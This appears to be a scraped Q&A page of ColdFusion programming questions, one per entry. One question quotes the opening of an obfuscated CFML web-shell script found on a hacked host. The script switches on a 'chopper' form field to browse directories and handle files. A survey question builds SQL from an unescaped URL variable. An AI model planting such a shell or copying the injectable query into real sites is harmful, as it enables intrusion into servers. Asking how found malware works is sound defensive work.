coldfusion

ColdFusion IPv6 to 128-bit unsigned int

拈花ヽ惹草 提交于 2019-12-13 10:59:10
问题 I needed to create a function that could convert an IPv6 address to its numeric representation. Working with IPv4 is pretty straight forward as it uses an 32-bit unsigned int for its numerical representation. IPv6 is represented by an 128-bit unsigned int. That size of a number is too large for the builtin ColdFusion bit logic functions to use. This function must make use of the underlying Java system to make the conversion. Need a function to do the reverse: ColdFusion 128-bit unsigned int

variable not being passed on when making a call through cfajaxproxy to a cffunction

﹥>﹥吖頭↗ 提交于 2019-12-13 10:45:48
问题 function getStateInfo(state){ alert(state); var f = new funcs(); f.setCallbackHandler(updateFormFieldStateInfo); f.setQueryFormat('column'); f.qry_getLenderEvictionStateInfo(<cfoutput>#request.Lender_Id#</cfoutput>,state); } doesn't pass the state value to the ColdFusion function 回答1: Here are a few observations that may help: Is the alert() function defined in your prior code or is it being confused with javascript's alert() function? I don't believe that Coldfusion has a built in alert()

Creating a survey using Coldfusion: Stuck on the table data insert

眉间皱痕 提交于 2019-12-13 08:46:10
问题 I'm trying to create a survey tool in Coldfusion and I'm stuck on one part. My tables are: t_forms (id, name, desc) t_questions (id, question, type, formid, order) t_cdata (id, email) t_cqdata (formid, questionid, customerid, answergiven) The form fields are dynamically built using a url variable and look like this, for example: <cfquery name="gs"> select * from t_forms where id = #url.sid# </cfquery> <cfquery name="gq"> select * from t_questions where fid = #gs.id# ORDER BY order ASC <

Unable to access JavaScript variables in ColdFusion tags in script

蹲街弑〆低调 提交于 2019-12-13 08:41:30
问题 I was trying to take the selected value from the select tag and pass it to cold fusion tags in jquery as follows. select tag code: <select id="selectco"> <cfoutput query="colist"> <option value="#cid#">#coname#</option> </cfoutput> </select> jQuery code: $(document).ready(function() { $("#selectco").change(function() { var e=document.getElementById("selectco"); var opt=e.options[e.selectedIndex].value; $("#selectst").html("<cfquery name='stlist' datasource='tasks'> select * from state where

CFML strange script found in hosting

拟墨画扇 提交于 2019-12-13 08:08:06
问题 Just found a script on a friend's hacked webspace. As far as I can see the script accepts some post variables and does some things like show directory content, upload file, delete file, read binary file, not very documented though. Can anybody enlighten me on what it does more exactly? Is not formated but on a single line for "obfuscation" I think. Thanks! <CFSET O="" /><CFTRY><CFSWITCH EXPRESSION=#Form.chopper#><CFCASE VALUE="A"><CFSCRIPT>O=O&Expandpath("./")&Chr(9); for(c=65;c lt 91;c=c+1)

How do I use jquery validate remote validation to set and return form field values to the form action page?

假如想象 提交于 2019-12-13 07:08:46
问题 I have a form that validates using the jQuery plugin: Validation, v1.9.0. The validation also performs remote calls to a server side script (Coldfusion) to check user names, email addresses, etc.. My problem is this: During the remote validation process, there are times when new form fields will be defined and set through the server side script which need to be returned to the calling form so that they can be passed to the form's action page. As you'll notice in my code snippets below, I am

How can I get my ColdFusion webservice to consume UTF-8?

余生颓废 提交于 2019-12-13 06:47:06
问题 I have a very simple ColdFusion web app that takes one URL parameter and prints it to the page. But it doesn't seem to be receiving a UTF-8 encoded value, even though it's sent that way. Here's an HTTP request, taken from Fiddler: POST http://blahblahwebservice/getme.htm HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: unicode_post Host: miscmsuatsw Content-Length: 14 Pragma: no-cache Cookie: CFID=247445; CFTOKEN=305db8322d5cecfb-627BD26F-BC91-0EC2

Consuming a wcf webservice with ArrayOfint paramenter

早过忘川 提交于 2019-12-13 06:36:51
问题 I am trying to consume a WCF webservice. <cfdump> shows the function as getVwEmpByLocs(com.microsoft.schemas._2003._10.serialization.arrays.ArrayOfint) UPDATE: <cfset wsUser = createobject("webservice", "http://xxxxxxx/cardService.svc?wsdl")> <cfdump var="#wsUser#"> <cfset locationID = []> <cfset locationID[1] = 2092> <cfset stResult = wsUser.GetVwEmpByLocs(javacast('int[]', locationID))> Errors: Message argument type mismatch 回答1: After reading the comments from @Leigh and a little Google

Develop Coldfusion Web Service

让人想犯罪 __ 提交于 2019-12-13 05:27:11
问题 I need to develop/design Coldfusion Web Service which uses few object calls and functions. What is good source of samples to develop in terms of OOP? What is best way to secure the web service? how to authenticate external/internal users, any sample? FYI, This web service is going to be used by multiple department. thanks A 回答1: OOP examples are all over the web. I don't have any handy, so I'll skip that part, and go straight to authentication and security. First, authentication. There are

sql take one out from the list

痴心易碎 提交于 2019-12-13 05:25:41
问题 here is the situation, i have a few companies, and in every company there are few partners(workers), and i need to make a list of these companies, the problem that the defining factor to list or not to list the company is in the partner's definition, so when i need to be listed the companies, they are listed a few times, because there are a few partners in each one :) i hope it is everything clear, so far i have wrote a sql code: <cfquery name="GET_POT_COMPANY" datasource="#DSN#"> SELECT C